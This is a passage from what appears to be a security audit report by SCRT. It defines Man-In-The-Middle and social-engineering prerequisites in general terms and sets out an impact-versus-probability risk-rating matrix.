communication  flows  can  be  used  to  undertake  a  Man-In-The-Middle  attack.  ISPs as  well  as
governments  are  therefore  often  considered  as  having  the  possibility  (legitimately  or  not)  to
undertake these kinds of attacks.

 5.1.4.2 Social Engineering

Users are frequently one of the attacker’s primary target. Sophisticated attacks (phishing, phoning,
…)  are  often  developed  in  order  to  manipulate  victims.  When  stated  as  a  prerequisite  to  a
vulnerability, social engineering means that an attacker must have some kind of contact with his
victim in order to lure him into performing an action desired by the attacker, such as clicking on a
link or opening a file attached to an e-mail.

5.2 Risk calculation

Each risk presented in this report is based on the impact and probability of exploitation (estimated
by SCRT) of one or several vulnerabilities. The risk level is calculated by using the following table
for the most severe vulnerability related to the risk.

Overall Risk Severity

Impact CRITICAL High High Critical Critical

HIGH Moderate Moderate High Critical

MODERATE Low Moderate Moderate High

LOW Low Low Moderate High

LOW MODERATE HIGH CRITICAL

Probability

For more information on the impact and probability of exploitation of each risk, please refer to the
technical details of the corresponding vulnerability.

SCRT also provides an estimation of the effort required to mitigate the various risks. This is an
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estimate based on SCRT’s experience and can obviously be different within the specific context of
a given company.
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